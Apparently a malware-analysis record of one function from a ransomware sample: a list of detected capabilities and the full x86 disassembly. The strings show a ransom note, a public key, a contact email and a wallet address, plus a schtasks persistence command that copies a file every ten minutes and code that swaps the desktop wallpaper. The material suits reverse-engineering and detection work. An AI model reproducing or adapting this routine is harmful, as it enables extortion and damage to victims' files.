Function at 0x4531d0
Capabilities:
Change the wallpaper
Create process on windows
Create process suspended
Extract resource via kernel32 functions
Get common file path
Schedule task via schtasks
Set file attributes
Write and execute a file
Write file on windows

Disassembly:
push ebx
mov ebx, esp
sub esp, 8
and esp, 0xfffffff8
add esp, 4
push ebp
mov ebp, dword [ebx + 4]
mov dword [esp + 4], ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x5dae26
mov eax, dword fs:[0]
push eax
push ebx
sub esp, 0x3c0
mov eax, dword [0x66ea60]
xor eax, ebp
mov dword [ebp - 0x14], eax
push esi
push edi
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
push 0x104
lea eax, [ebp - 0x120]
mov dword [ebp - 0x3a4], 0
push 0
push eax
call fcn.005b6630
add esp, 0xc
lea eax, [ebp - 0x120]
push eax
push 0
push 0
push 0
push 0
call dword [sym.imp.SHELL32.dll_SHGetFolderPathA]
push str._recover_files_view_here.txt
lea eax, [ebp - 0x120]
push 0x104
push eax
call fcn.005bdd46
add esp, 0xc
mov dword [ebp - 0x230], 0
mov dword [ebp - 0x22c], 0xf
mov byte [ebp - 0x240], 0
push 0
mov dword [ebp - 4], 0
call dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
mov esi, eax
test esi, esi
je 0x4532ec
push 0x17
push 0x81
push esi
call dword [sym.imp.KERNEL32.dll_FindResourceA]
mov edi, eax
test edi, edi
je 0x4532ec
push edi
push esi
call dword [sym.imp.KERNEL32.dll_LoadResource]
mov dword [ebp - 0x3a8], eax
test eax, eax
je 0x4532ec
push eax
call dword [sym.imp.KERNEL32.dll_LockResource]
mov dword [ebp - 0x3a4], eax
test eax, eax
je 0x4532ec
push edi
push esi
call dword [sym.imp.KERNEL32.dll_SizeofResource]
push eax
push dword [ebp - 0x3a4]
lea ecx, [ebp - 0x240]
call fcn.0044cbc0
push dword [ebp - 0x3a8]
call dword [sym.imp.KERNEL32.dll_FreeResource]
cmp dword [ebp - 0x22c], 0x10
lea eax, [ebp - 0x240]
push dword [ebp - 0x230]
cmovae eax, dword [ebp - 0x240]
push eax
lea eax, [ebp - 0x3c0]
push eax
call fcn.0044b500
push eax
lea ecx, [ebp - 0x240]
call fcn.0044cd50
mov edx, dword [ebp - 0x3ac]
cmp edx, 0x10
jb 0x453359
mov ecx, dword [ebp - 0x3c0]
inc edx
mov eax, ecx
cmp edx, 0x1000
jb 0x45334f
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x45412c
push edx
push ecx
call fcn.0059e603
add esp, 8
push 2
push 0x662404
lea ecx, [ebp - 0x258]
mov dword [ebp - 0x248], 0
mov dword [ebp - 0x244], 0xf
mov byte [ebp - 0x258], 0
call fcn.0044cbc0
mov byte [ebp - 4], 1
mov eax, dword [0x6790e4]
mov ecx, dword [eax]
mov edi, ecx
lea edx, [edi + 1]
mov al, byte [edi]
inc edi
test al, al
jne 0x453396
mov esi, dword [ebp - 0x244]
sub edi, edx
mov edx, dword [ebp - 0x248]
mov eax, esi
sub eax, edx
push edi
push ecx
cmp edi, eax
ja 0x4533e0
lea eax, [edx + edi]
cmp esi, 0x10
mov dword [ebp - 0x248], eax
lea eax, [ebp - 0x258]
cmovae eax, dword [ebp - 0x258]
lea esi, [eax + edx]
push esi
call fcn.005b60b0
add esp, 0xc
mov byte [edi + esi], 0
jmp 0x4533f9
mov byte [ebp - 0x3a8], 0
lea ecx, [ebp - 0x258]
push dword [ebp - 0x3a8]
push edi
call fcn.0044d5a0
push ecx
xorps xmm0, xmm0
mov dword [ebp - 0x288], 0
push str.public_Kkey
lea ecx, [ebp - 0x298]
movups xmmword [ebp - 0x298], xmm0
call fcn.004545f0
mov byte [ebp - 4], 3
lea edx, [ebp - 0x240]
cmp dword [ebp - 0x22c], 0x10
mov ecx, dword [ebp - 0x240]
mov eax, dword [ebp - 0x230]
cmovae edx, ecx
add eax, edx
mov dword [ebp - 0x3b0], 0
cmp dword [ebp - 0x22c], 0x10
lea edx, [ebp - 0x240]
push ecx
cmovae edx, ecx
mov dword [ebp - 0x3ac], 0xf
lea ecx, [ebp - 0x258]
mov byte [ebp - 0x3c0], 0
push ecx
lea ecx, [ebp - 0x298]
mov dword [ebp - 0x3a4], 1
push ecx
push eax
lea eax, [ebp - 0x3c0]
push eax
lea ecx, [ebp - 0x394]
call fcn.004578e0
add esp, 0x14
lea eax, [ebp - 0x3c0]
lea ecx, [ebp - 0x240]
push eax
call fcn.0044cd50
mov byte [ebp - 4], 2
mov edx, dword [ebp - 0x3ac]
cmp edx, 0x10
jb 0x4534ea
mov ecx, dword [ebp - 0x3c0]
inc edx
mov eax, ecx
cmp edx, 0x1000
jb 0x4534e0
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x454131
push edx
push ecx
call fcn.0059e603
add esp, 8
push ecx
xorps xmm0, xmm0
mov dword [ebp - 0x274], 0
push str.admin_google.com
lea ecx, [ebp - 0x284]
movups xmmword [ebp - 0x284], xmm0
call fcn.004545f0
push ecx
lea eax, [ebp - 0x284]
mov byte [ebp - 4], 4
push str.cos.luise_gmx.com
push eax
lea edx, [ebp - 0x240]
lea ecx, [ebp - 0x3c0]
call fcn.00456670
add esp, 0xc
lea ecx, [ebp - 0x240]
push eax
call fcn.0044cd50
mov edx, dword [ebp - 0x3ac]
cmp edx, 0x10
jb 0x45357a
mov ecx, dword [ebp - 0x3c0]
inc edx
mov eax, ecx
cmp edx, 0x1000
jb 0x453570
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x454136
push edx
push ecx
call fcn.0059e603
add esp, 8
push ecx
xorps xmm0, xmm0
mov dword [ebp - 0x260], 0
push str.123456789
lea ecx, [ebp - 0x270]
movups xmmword [ebp - 0x270], xmm0
call fcn.004545f0
push ecx
lea eax, [ebp - 0x270]
mov byte [ebp - 4], 5
push str.48hDBzD7J8fMVxcy7J6gTy3tJ3gZDgBgigrzrKVDuK8o2FYbv6CjWeJFU6ar3Mp8oFUtXDZExcoH41wqA1x8cnuVUkbqDai
push eax
lea edx, [ebp - 0x240]
lea ecx, [ebp - 0x3c0]
call fcn.00456670
add esp, 0xc
lea ecx, [ebp - 0x240]
push eax
call fcn.0044cd50
mov edx, dword [ebp - 0x3ac]
cmp edx, 0x10
jb 0x45360a
mov ecx, dword [ebp - 0x3c0]
inc edx
mov eax, ecx
cmp edx, 0x1000
jb 0x453600
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x45413b
push edx
push ecx
call fcn.0059e603
add esp, 8
cmp dword [ebp - 0x244], 0x10
lea eax, [ebp - 0x258]
push 2
cmovae eax, dword [ebp - 0x258]
lea ecx, [ebp - 0x258]
mov dword [ebp - 0x248], 0
push 0x662404
mov byte [eax], 0
call fcn.0044cbc0
mov eax, dword [0x6790e4]
xor edi, edi
add eax, 0xc
mov dword [ebp - 0x3a4], edi
cmp dword [eax + 0x10], edi
jbe 0x45378e
mov edx, dword [eax + 0xc]
xor ecx, ecx
test eax, eax
je 0x453661
mov ecx, dword [eax]
xor eax, eax
test ecx, ecx
je 0x45366f
mov ecx, dword [ecx]
test ecx, ecx
je 0x45366f
mov eax, dword [ecx]
add edx, edi
test eax, eax
je 0x453685
mov eax, dword [eax]
test eax, eax
je 0x453685
mov eax, dword [eax]
test eax, eax
je 0x453685
mov eax, dword [eax]
jmp 0x453687
xor eax, eax
mov ecx, dword [eax + 8]
mov eax, dword [eax + 4]
dec ecx
and ecx, edx
mov ecx, dword [eax + ecx*4]
cmp dword [ecx + 0x14], 0x10
jb 0x45369b
mov ecx, dword [ecx]
mov edi, ecx
lea edx, [edi + 1]
mov al, byte [edi]
inc edi
test al, al
jne 0x4536a0
mov esi, dword [ebp - 0x244]
sub edi, edx
mov edx, dword [ebp - 0x248]
mov eax, esi
sub eax, edx
push edi
push ecx
cmp edi, eax
ja 0x4536ea
lea eax, [edx + edi]
cmp esi, 0x10
mov dword [ebp - 0x248], eax
lea eax, [ebp - 0x258]
cmovae eax, dword [ebp - 0x258]
lea esi, [eax + edx]
push esi
call fcn.005b60b0
add esp, 0xc
mov byte [edi + esi], 0
jmp 0x453703
mov byte [ebp - 0x3a8], 0
lea ecx, [ebp - 0x258]
push dword [ebp - 0x3a8]
push edi
call fcn.0044d5a0
mov eax, dword [0x6790e4]
mov edi, dword [ebp - 0x3a4]
mov eax, dword [eax + 0x1c]
dec eax
cmp edi, eax
jae 0x453776
mov edx, dword [ebp - 0x244]
mov eax, edx
mov ecx, dword [ebp - 0x248]
sub eax, ecx
push 2
push 0x664aa8
cmp eax, 2
jb 0x45375c
cmp edx, 0x10
lea esi, [ebp - 0x258]
lea eax, [ecx + 2]
cmovae esi, dword [ebp - 0x258]
add esi, ecx
mov dword [ebp - 0x248], eax
push esi
call fcn.005b60b0
add esp, 0xc
mov byte [esi + 2], 0
jmp 0x453776
mov byte [ebp - 0x394], 0
lea ecx, [ebp - 0x258]
push dword [ebp - 0x394]
push 2
call fcn.0044d5a0
mov eax, dword [0x6790e4]
inc edi
add eax, 0xc
mov dword [ebp - 0x3a4], edi
cmp edi, dword [eax + 0x10]
jb 0x453656
mov edx, dword [ebp - 0x22c]
mov eax, edx
mov ecx, dword [ebp - 0x230]
sub eax, ecx
push 6
push str._r_n_r_n_r_n
cmp eax, 6
jb 0x4537d4
cmp edx, 0x10
lea esi, [ebp - 0x240]
lea eax, [ecx + 6]
cmovae esi, dword [ebp - 0x240]
add esi, ecx
mov dword [ebp - 0x230], eax
push esi
call fcn.005b60b0
add esp, 0xc
mov byte [esi + 6], 0
jmp 0x4537ee
mov byte [ebp - 0x394], 0
lea ecx, [ebp - 0x240]
push dword [ebp - 0x394]
push 6
call fcn.0044d5a0
mov edi, 0x64
nop dword [eax]
nop word [eax + eax]
mov edx, dword [ebp - 0x22c]
mov eax, edx
mov ecx, dword [ebp - 0x230]
sub eax, ecx
push 2
push 0x664ab4
cmp eax, 2
jb 0x453846
cmp edx, 0x10
lea esi, [ebp - 0x240]
lea eax, [ecx + 2]
cmovae esi, dword [ebp - 0x240]
add esi, ecx
mov dword [ebp - 0x230], eax
push esi
call fcn.005b60b0
add esp, 0xc
mov byte [esi + 2], 0
jmp 0x453860
mov byte [ebp - 0x394], 0
lea ecx, [ebp - 0x240]
push dword [ebp - 0x394]
push 2
call fcn.0044d5a0
sub edi, 1
jne 0x453800
mov byte [ebp - 4], 6
lea ecx, [ebp - 0x3c0]
mov eax, dword [ebp - 0x230]
add eax, 0xb
mov dword [ebp - 0x3b0], edi
push eax
mov dword [ebp - 0x3ac], 0xf
mov byte [ebp - 0x3c0], 0
mov dword [ebp - 0x3a4], 2
call fcn.00457030
cmp dword [ebp - 0x22c], 0x10
lea ecx, [ebp - 0x240]
mov esi, dword [ebp - 0x3ac]
mov eax, esi
cmovae ecx, dword [ebp - 0x240]
mov edi, dword [ebp - 0x230]
mov edx, dword [ebp - 0x3b0]
sub eax, edx
push edi
push ecx
cmp edi, eax
ja 0x4538fa
lea eax, [edx + edi]
cmp esi, 0x10
mov dword [ebp - 0x3b0], eax
lea eax, [ebp - 0x3c0]
cmovae eax, dword [ebp - 0x3c0]
lea esi, [eax + edx]
push esi
call fcn.005b60b0
add esp, 0xc
mov byte [edi + esi], 0
jmp 0x453913
mov byte [ebp - 0x394], 0
lea ecx, [ebp - 0x3c0]
push dword [ebp - 0x394]
push edi
call fcn.0044d5a0
mov edx, dword [ebp - 0x3ac]
mov eax, edx
mov ecx, dword [ebp - 0x3b0]
sub eax, ecx
push 0xb
push str._r_nYOUR_KEYS
cmp eax, 0xb
jb 0x453959
cmp edx, 0x10
lea esi, [ebp - 0x3c0]
lea eax, [ecx + 0xb]
cmovae esi, dword [ebp - 0x3c0]
add esi, ecx
mov dword [ebp - 0x3b0], eax
push esi
call fcn.005b60b0
add esp, 0xc
mov byte [esi + 0xb], 0
jmp 0x453973
mov byte [ebp - 0x394], 0
lea ecx, [ebp - 0x3c0]
push dword [ebp - 0x394]
push 0xb
call fcn.0044d5a0
cmp dword [ebp - 0x244], 0x10
lea ecx, [ebp - 0x258]
mov esi, dword [ebp - 0x3ac]
mov eax, esi
cmovae ecx, dword [ebp - 0x258]
mov edi, dword [ebp - 0x248]
mov edx, dword [ebp - 0x3b0]
sub eax, edx
push edi
push ecx
cmp edi, eax
ja 0x4539d4
lea eax, [edx + edi]
cmp esi, 0x10
mov dword [ebp - 0x3b0], eax
lea eax, [ebp - 0x3c0]
cmovae eax, dword [ebp - 0x3c0]
lea esi, [eax + edx]
push esi
call fcn.005b60b0
add esp, 0xc
mov byte [edi + esi], 0
lea eax, [ebp - 0x3c0]
jmp 0x4539ed
mov byte [ebp - 0x394], 0
lea ecx, [ebp - 0x3c0]
push dword [ebp - 0x394]
push edi
call fcn.0044d5a0
movups xmm0, xmmword [eax]
movq xmm1, qword [eax + 0x10]
mov dword [eax + 0x10], 0
mov dword [eax + 0x14], 0xf
mov byte [eax], 0
mov edx, dword [ebp - 0x22c]
movq qword [ebp - 0x398], xmm1
movups xmmword [ebp - 0x3d0], xmm0
cmp edx, 0x10
jb 0x453a5e
mov ecx, dword [ebp - 0x240]
inc edx
mov eax, ecx
cmp edx, 0x1000
jb 0x453a45
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x454140
push edx
push ecx
call fcn.0059e603
movups xmm0, xmmword [ebp - 0x3d0]
add esp, 8
movq xmm1, qword [ebp - 0x398]
mov byte [ebp - 4], 5
mov edx, dword [ebp - 0x3ac]
movq qword [ebp - 0x230], xmm1
movups xmmword [ebp - 0x240], xmm0
cmp edx, 0x10
jb 0x453aab
mov ecx, dword [ebp - 0x3c0]
inc edx
mov eax, ecx
cmp edx, 0x1000
jb 0x453aa1
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x454145
push edx
push ecx
call fcn.0059e603
add esp, 8
mov edx, dword [ebp - 0x22c]
mov eax, edx
mov ecx, dword [ebp - 0x230]
sub eax, ecx
push 4
push str._r_n_r_n
cmp eax, 4
jb 0x453af1
cmp edx, 0x10
lea esi, [ebp - 0x240]
lea eax, [ecx + 4]
cmovae esi, dword [ebp - 0x240]
add esi, ecx
mov dword [ebp - 0x230], eax
push esi
call fcn.005b60b0
add esp, 0xc
mov byte [esi + 4], 0
jmp 0x453b0b
mov byte [ebp - 0x394], 0
lea ecx, [ebp - 0x240]
push dword [ebp - 0x394]
push 4
call fcn.0044d5a0
mov edi, 0x64
mov edx, dword [ebp - 0x22c]
mov eax, edx
mov ecx, dword [ebp - 0x230]
sub eax, ecx
push 2
push 0x664ab4
cmp eax, 2
jb 0x453b56
cmp edx, 0x10
lea esi, [ebp - 0x240]
lea eax, [ecx + 2]
cmovae esi, dword [ebp - 0x240]
add esi, ecx
mov dword [ebp - 0x230], eax
push esi
call fcn.005b60b0
add esp, 0xc
mov byte [esi + 2], 0
jmp 0x453b70
mov byte [ebp - 0x394], 0
lea ecx, [ebp - 0x240]
push dword [ebp - 0x394]
push 2
call fcn.0044d5a0
sub edi, 1
jne 0x453b10
push 0xb0
lea eax, [ebp - 0x390]
push edi
push eax
call fcn.005b6630
add esp, 8
lea ecx, [ebp - 0x390]
call fcn.004548f0
sub esp, 8
mov byte [ebp - 4], 7
lea eax, [ebp - 0x120]
lea ecx, [ebp - 0x390]
push eax
call fcn.004547f0
cmp dword [ebp - 0x22c], 0x10
lea eax, [ebp - 0x240]
push edi
push dword [ebp - 0x230]
cmovae eax, dword [ebp - 0x240]
lea ecx, [ebp - 0x390]
push eax
call fcn.00455550
lea ecx, [ebp - 0x38c]
call fcn.004560c0
test eax, eax
jne 0x453c0e
mov eax, dword [ebp - 0x390]
lea ecx, [ebp - 0x390]
push edi
mov eax, dword [eax + 4]
add ecx, eax
xor eax, eax
cmp dword [ecx + 0x38], eax
sete al
lea eax, [eax*4 + 2]
or eax, dword [ecx + 0xc]
push eax
call fcn.0044b390
sub esp, 8
lea ecx, [ebp - 0x390]
push str.C:_star_cat.txt
call fcn.004547f0
cmp dword [ebp - 0x22c], 0x10
lea eax, [ebp - 0x240]
push 0
push dword [ebp - 0x230]
cmovae eax, dword [ebp - 0x240]
lea ecx, [ebp - 0x390]
push eax
call fcn.00455550
lea ecx, [ebp - 0x38c]
call fcn.004560c0
test eax, eax
jne 0x453c83
mov eax, dword [ebp - 0x390]
lea ecx, [ebp - 0x390]
push 0
mov eax, dword [eax + 4]
add ecx, eax
xor eax, eax
cmp dword [ecx + 0x38], eax
sete al
lea eax, [eax*4 + 2]
or eax, dword [ecx + 0xc]
push eax
call fcn.0044b390
push 2
push str.C:_star_cat.txt
call dword [sym.imp.KERNEL32.dll_SetFileAttributesA]
push 0x104
lea eax, [ebp - 0x228]
push 0
push eax
call fcn.005b6630
add esp, 0xc
lea eax, [ebp - 0x120]
push eax
push str.C:_star_cat.txt
push str.cmd__c_schtasks__create__tn__CopyFileTask___tr__cmd.exe___c_copy___s____s_____sc_minute___mo_10___f
lea eax, [ebp - 0x228]
push 0x104
push eax
call fcn.00451660
add esp, 0x14
mov dword [ebp - 0x2e0], 0x44
xor eax, eax
mov dword [ebp - 0x2b4], 1
mov word [ebp - 0x29e], ax
xorps xmm0, xmm0
mov word [ebp - 0x2b0], ax
lea eax, [ebp - 0x3a0]
push eax
lea eax, [ebp - 0x2e0]
movlpd qword [ebp - 0x2dc], xmm0
push eax
push 0
push 0
push 0
push 0
push 0
push 0
lea eax, [ebp - 0x228]
movlpd qword [ebp - 0x2d4], xmm0
push eax
push 0
movlpd qword [ebp - 0x2cc], xmm0
movlpd qword [ebp - 0x2c4], xmm0
movlpd qword [ebp - 0x2bc], xmm0
movlpd qword [ebp - 0x2ae], xmm0
movlpd qword [ebp - 0x2a6], xmm0
movups xmmword [ebp - 0x3a0], xmm0
call dword [sym.imp.KERNEL32.dll_CreateProcessA]
push dword [ebp - 0x3a0]
mov edi, dword [sym.imp.KERNEL32.dll_CloseHandle]
call edi
push dword [ebp - 0x39c]
call edi
cmp dword [ebp - 0x22c], 0x10
lea eax, [ebp - 0x240]
mov dword [ebp - 0x230], 0
cmovae eax, dword [ebp - 0x240]
push 0
mov byte [eax], 0
mov dword [ebp - 0x25c], 0
call dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
mov esi, eax
mov dword [ebp - 0x394], esi
test esi, esi
je 0x453e11
push str.jpeg
push 0x82
push esi
call dword [sym.imp.KERNEL32.dll_FindResourceA]
mov edi, eax
test edi, edi
je 0x453e0b
push edi
push esi
call dword [sym.imp.KERNEL32.dll_LoadResource]
mov esi, eax
test esi, esi
je 0x453e0b
push esi
call dword [sym.imp.KERNEL32.dll_LockResource]
mov dword [ebp - 0x3a8], eax
test eax, eax
je 0x453e0b
push edi
push dword [ebp - 0x394]
call dword [sym.imp.KERNEL32.dll_SizeofResource]
push eax
push dword [ebp - 0x3a8]
lea ecx, [ebp - 0x240]
call fcn.0044cbc0
push esi
call dword [sym.imp.KERNEL32.dll_FreeResource]
mov edi, dword [sym.imp.KERNEL32.dll_CloseHandle]
lea eax, [ebp - 0x120]
push eax
push 0x104
call dword [sym.imp.KERNEL32.dll_GetTempPathA]
lea ecx, [ebp - 0x120]
lea edx, [ecx + 1]
nop dword [eax]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x453e30
sub ecx, edx
lea eax, [ebp - 0x120]
push ecx
push eax
lea ecx, [ebp - 0x258]
call fcn.0044cbc0
mov edx, dword [ebp - 0x244]
mov eax, edx
mov ecx, dword [ebp - 0x248]
sub eax, ecx
push 9
push str._temp.jpg
cmp eax, 9
jb 0x453e92
cmp edx, 0x10
lea esi, [ebp - 0x258]
lea eax, [ecx + 9]
cmovae esi, dword [ebp - 0x258]
add esi, ecx
mov dword [ebp - 0x248], eax
push esi
call fcn.005b60b0
add esp, 0xc
mov byte [esi + 9], 0
jmp 0x453eac
mov byte [ebp - 0x394], 0
lea ecx, [ebp - 0x258]
push dword [ebp - 0x394]
push 9
call fcn.0044d5a0
cmp dword [ebp - 0x244], 0x10
lea eax, [ebp - 0x258]
push 0
cmovae eax, dword [ebp - 0x258]
push 0x80
push 2
push 0
push 0
push 0x10000000
push eax
call dword [sym.imp.KERNEL32.dll_CreateFileA]
cmp dword [ebp - 0x22c], 0x10
lea ecx, [ebp - 0x240]
push 0
cmovae ecx, dword [ebp - 0x240]
mov esi, eax
lea eax, [ebp - 0x25c]
push eax
push dword [ebp - 0x230]
push ecx
push esi
call dword [sym.imp.KERNEL32.dll_WriteFile]
push esi
call edi
cmp dword [ebp - 0x244], 0x10
lea eax, [ebp - 0x258]
push 3
cmovae eax, dword [ebp - 0x258]
push eax
push 0
push 0x14
call dword [sym.imp.USER32.dll_SystemParametersInfoA]
mov eax, dword [ebp - 0x390]
mov eax, dword [eax + 4]
mov dword [ebp + eax - method.std::basic_ofstream_char__struct_std::char_traits_char__.virtual_0], vtable.std::basic_ofstream_char__struct_std::char_traits_char__.0
mov eax, dword [ebp - 0x390]
mov ecx, dword [eax + 4]
lea eax, [ecx - 0x68]
mov dword [ebp + ecx - 0x394], eax
lea ecx, [ebp - 0x38c]
call fcn.004554a0
mov eax, dword [ebp - 0x390]
mov eax, dword [eax + 4]
mov dword [ebp + eax - method.std::basic_ostream_char__struct_std::char_traits_char__.virtual_0], vtable.std::basic_ostream_char__struct_std::char_traits_char__.0
mov eax, dword [ebp - 0x390]
mov ecx, dword [eax + 4]
lea eax, [ecx - 8]
mov dword [ebp + ecx - 0x394], eax
lea eax, [ebp - 0x328]
mov byte [ebp - 4], 8
push eax
mov dword [ebp - method.std::ios_base.virtual_0], vtable.std::ios_base.0
call fcn.0045e289
mov ecx, dword [ebp - 0x270]
add esp, 4
or esi, 0xffffffff
test ecx, ecx
je 0x453fc3
mov eax, esi
lock xadd dword [ecx + 0x20], eax
jne 0x453fc3
mov ecx, dword [ebp - 0x270]
xor edx, edx
call fcn.00451830
mov dword [ebp - 0x270], 0
mov byte [ebp - 4], 9
mov ecx, dword [ebp - 0x260]
test ecx, ecx
je 0x453fee
mov eax, dword [ecx]
mov eax, dword [eax + 8]
call eax
test eax, eax
je 0x453fee
mov edx, dword [eax]
mov ecx, eax
push 1
call dword [edx]
mov ecx, dword [ebp - 0x284]
test ecx, ecx
je 0x45400e
mov eax, esi
lock xadd dword [ecx + 0x20], eax
jne 0x45400e
mov ecx, dword [ebp - 0x284]
xor edx, edx
call fcn.00451830
mov dword [ebp - 0x284], 0
mov byte [ebp - 4], 0xa
mov ecx, dword [ebp - 0x274]
test ecx, ecx
je 0x454039
mov eax, dword [ecx]
mov eax, dword [eax + 8]
call eax
test eax, eax
je 0x454039
mov edx, dword [eax]
mov ecx, eax
push 1
call dword [edx]
mov eax, dword [ebp - 0x298]
test eax, eax
je 0x454058
lock xadd dword [eax + 0x20], esi
dec esi
jne 0x454058
mov ecx, dword [ebp - 0x298]
xor edx, edx
call fcn.00451830
mov dword [ebp - 0x298], 0
mov byte [ebp - 4], 0xb
mov ecx, dword [ebp - 0x288]
test ecx, ecx
je 0x454083
mov eax, dword [ecx]
mov eax, dword [eax + 8]
call eax
test eax, eax
je 0x454083
mov edx, dword [eax]
mov ecx, eax
push 1
call dword [edx]
mov edx, dword [ebp - 0x244]
cmp edx, 0x10
jb 0x4540bd
mov ecx, dword [ebp - 0x258]
inc edx
mov eax, ecx
cmp edx, 0x1000
jb 0x4540b3
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x45414a
push edx
push ecx
call fcn.0059e603
add esp, 8
mov edx, dword [ebp - 0x22c]
mov dword [ebp - 0x248], 0
mov dword [ebp - 0x244], 0xf
mov byte [ebp - 0x258], 0
cmp edx, 0x10
jb 0x45410e
mov ecx, dword [ebp - 0x240]
inc edx
mov eax, ecx
cmp edx, 0x1000
jb 0x454104
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x45414f
push edx
push ecx
call fcn.0059e603
add esp, 8
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
mov ecx, dword [ebp - 0x14]
xor ecx, ebp
call fcn.0059e5bd
mov esp, ebp
pop ebp
mov esp, ebx
pop ebx
ret
call fcn.005b9caa
call fcn.005b9caa
call fcn.005b9caa
call fcn.005b9caa
call fcn.005b9caa
call fcn.005b9caa
call fcn.005b9caa
call fcn.005b9caa
int3